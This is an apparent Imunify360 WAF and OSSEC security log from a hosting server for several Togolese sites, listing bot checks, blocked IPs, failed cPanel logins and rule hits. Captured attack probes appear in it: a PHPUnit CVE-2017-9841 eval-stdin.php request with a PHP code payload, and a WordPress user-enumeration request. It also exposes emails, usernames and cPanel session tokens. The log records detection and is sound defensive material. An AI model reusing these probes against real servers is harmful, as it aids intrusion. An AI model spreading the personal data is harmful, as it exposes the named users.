203.132.68.28 - - [19/Jun/2026:08:33:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 72.245.66.208
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:beatrisg76||Email:beatris_hilton8492@securitysguard.com||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.245.66.208
country_id: 6252001
domain: www.letabloid.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-32.72.245.66.208||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.23.35.107
country_id: 2361809
description:
102.23.35.107 - - [19/Jun/2026:08:34:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039851&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F02%252F11%252Fquand-lhistoire-nous-rattrape-qui-est-marianne-la-fille-noire-de-louis-xiv%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781858064 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/02/11/quand-lhistoire-nous-rattrape-qui-est-marianne-la-fille-noire-de-louis-xiv/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.6196.1273 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.23.35.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.178
country_id: 3175395
description:
Jun 19 08:36:55 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.194.53.4
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/10/c5fcf683-8279-4b62-b636-e136d980cd7a-2-edited.webp 465w, http:/togodailynews.tg/wp-content/uploads/2025/10/c5fcf683-8279-4b62-b636-e136d980cd7a-2-edited-298x300.webp 298w, http:/togodailynews.tg/wp-content/uploads/2025/10/c5fcf683-8279-4b62-b636-e136d980cd7a-2-edited-150x150.webp 150w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:08:41:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607784&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781858492 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:41:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7062894&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781858500 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 175.141.172.15
country_id: 1733045
description:
175.141.172.15 - - [19/Jun/2026:08:44:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10383004&pdata=https%253A%252F%252Ftogodailynews.tg%252Frenforcement-du-plateau-technique-des-centres-de-sante-le-togo-receptionne-un-important-lot-dequipements-medicaux%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781858697 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/renforcement-du-plateau-technique-des-centres-de-sante-le-togo-receptionne-un-important-lot-dequipements-medicaux/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:175.141.172.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:44:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6776678&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781858679 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jun 19 08:45:24 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jun 19 08:45:30 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 45.126.43.35
country_id: 1643084
domain: ca-togo.org
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php?cmd=<?php echo base64_decode(\"Z2Fuc3Nzc3MgZG9uZWUgbmllaA==\"); ?>||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.243.9.243
country_id: 3469034
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/attaque-terroriste-dans-un-camp-militaire-a-ouagadougou-le-togo-epargne-grace-a-la-discipline-de-ses-forces-armees/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140967
name: IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)
abuser: 45.126.43.35
country_id: 1643084
domain: ca-togo.org
description:
IM360 WAF: PrestaShop PHPUnit Arbitrary Code Execution vulnerability (CVE-2017-9841)||MVN:REQUEST_BODY||RSV:8.19||T:APACHE||MV:<?php echo base64_decode(\"Z2Fuc3Nzc3MgZG9uZWUgbmllaA==\"); ?>||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.249.174.121
country_id: 630336
domain: www.worldinfo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.worldinfo.tg/internet-haut-debit-la-3g-de-moov-togo-arrive/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:49:35 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:49:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:49:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:08:49:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.38.153
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160402||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.234.165
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-le-carnet-numerique-kondjigbale-pour-moderniser-lhabitude-dans-le-secteur-de-sante/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.234.165
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-le-carnet-numerique-kondjigbale-pour-moderniser-lhabitude-dans-le-secteur-de-sante/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.68
country_id: 3175395
description:
Jun 19 08:53:48 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.68 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:08:54:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658252&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781859286 HTTP/1.1" 404 561 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:08:54:52 +0000] "GET /favicon.ico HTTP/1.1" 415 587 afrique-distribution.net "http://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658252&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781859286" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.36.122.32
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/04/IMG_9738-768x512-1.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/04/IMG_9738-768x512-1-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/04/IMG_9738-768x512-1-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:54:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727381&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781859285 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.88.158
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/02/OTR.jpg 275w, http:/togodailynews.tg/wp-content/uploads/2021/02/OTR-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:08:57:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461291&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781859448 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.75.139.9
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-bidc-renforce-ses-capacites-institutionnelles-en-matiere-degalite-de-genre HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.112.7.148
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/la-decision-de-loif-contre-le-mali-et-a-la-junte-apres-la-crise-au-mali HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:00:05 +0000] info [cpaneld] 185.55.240.13 - benoit21112@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.196.22.66
country_id: 1522867
description:
2026-06-19 09:02:39 H=([217.196.22.66]) [217.196.22.66]:56570 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:02:47 +0000] info [cpaneld] 185.55.240.13 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.10.157.145
country_id: 3175395
description:
[2026-06-19 09:05:08 +0000] info [cpaneld] 45.10.157.145 - tout-ti "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.153.210.131
country_id: 1210997
description:
103.153.210.131 - - [19/Jun/2026:09:05:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881236&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fcommuniques%252Fpage%252F4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781859942 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/communiques/page/4/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.8560.1388 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.153.210.131


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-19 09:06:02 +0000] info [cpaneld] 5.230.133.240 NEW wgqhqbem:NJFnMkYDbOG19jG9 address=5.230.133.240,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:07:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:07:19 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:07:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:07:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.196.22.66
country_id: 1522867
description:
2026-06-19 09:07:33 H=([217.196.22.66]) [217.196.22.66]:60705 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.170.20.141
country_id: 2363686
domain: mesyscom.com
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.19||T:APACHE||User:jmtctoni||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.196.22.66
country_id: 1522867
description:
2026-06-19 09:08:38 H=([217.196.22.66]) [217.196.22.66]:61656 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.254
country_id: 2635167
description:
[2026-06-19 09:09:17 +0000] info [cpaneld] 5.230.153.254 NEW wcnyaruu:Rb26kA1kkqBs1LW9 address=5.230.153.254,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:10:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724464&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781860214 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:09:10:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515349&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781860220 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.238.122.158
country_id: 2921044
description:
[2026-06-19 09:11:02 +0000] info [webmaild] 195.238.122.158 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.161.18.238
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8c6d4c HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 34.74.25.234
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (34.74.25.234) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.74.25.234
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.167.226
country_id: 2363686
description:
[2026-06-19 09:14:10 +0000] info [cpaneld] 41.207.167.226 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:14:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196375&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781860474 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:15:05 +0000] info [cpaneld] 185.55.240.13 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.167.226
country_id: 2363686
description:
[2026-06-19 09:14:41 +0000] info [cpaneld] 41.207.167.226 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.26.103.236
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/06/IMG-20250623-WA0129-780x470-1.webp 780w, http:/togodailynews.tg/wp-content/uploads/2025/06/IMG-20250623-WA0129-780x470-1-300x181.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/06/IMG-20250623-WA0129-780x470-1-768x463.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.157.68.132
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/08/d824e5f3b2c2acb17cc29be7a9579123_L.jpg 845w, http:/togodailynews.tg/wp-content/uploads/2023/08/d824e5f3b2c2acb17cc29be7a9579123_L-300x176.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/08/d824e5f3b2c2acb17cc29be7a9579123_L-768x452.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.225.117
country_id: 2921044
description:
[2026-06-19 09:16:52 +0000] info [whostmgrd] 104.28.225.117 - netmastersarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
